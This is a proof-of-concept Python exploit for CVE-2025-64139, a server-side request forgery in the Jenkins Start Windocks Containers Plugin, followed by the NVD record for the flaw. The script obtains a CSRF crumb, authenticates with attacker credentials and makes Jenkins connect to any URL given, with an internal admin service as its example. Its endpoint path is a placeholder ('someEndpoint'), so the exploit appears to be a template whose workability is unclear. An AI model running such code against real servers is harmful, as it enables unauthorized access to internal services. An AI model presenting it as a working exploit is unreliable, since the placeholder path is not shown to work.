CVE-2025-64139

# CVE-2025-64139 PoC - Jenkins Start Windocks Containers Plugin SSRF # Requires Overall/Read permission import requests import urllib3 urllib3.disable_warnings() JENKINS_URL = "http://target-jenkins-server:8080" CRUMB_URL = f"{JENKINS_URL}/crumbIssuer/api/json" def get_crumb(session): """Get Jenkins CSRF crumb""" response = session.get(CRUMB_URL) if response.status_code == 200: return response.json() return None def exploit_ssrf(target_url): """Exploit missing permission check to connect to arbitrary URL""" session = requests.Session() session.auth = ('attacker_username', 'attacker_password') crumb = get_crumb(session) if not crumb: print("[-] Failed to get CSRF crumb") return False headers = { crumb['crumbRequestField']: crumb['crumb'] } exploit_url = f"{JENKINS_URL}/plugin/startWindocksContainers/someEndpoint" data = { 'url': target_url, 'containerName': 'test_container' } response = session.post(exploit_url, data=data, headers=headers, verify=False) if response.status_code in [200, 201]: print(f"[+] Successfully triggered request to: {target_url}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://internal-service:8080/admin") sys.exit(1) target = sys.argv[1] exploit_ssrf(target)

{"cve": {"id": "CVE-2025-64139", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:58.390", "lastModified": "2025-11-04T22:16:40.403", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins Start Windocks Containers Plugin 1.4 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:start_windocks_container:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1.4", "matchCriteriaId": "437431B8-691D-4DE8-8F3E-409BA371ADF6"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3531", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}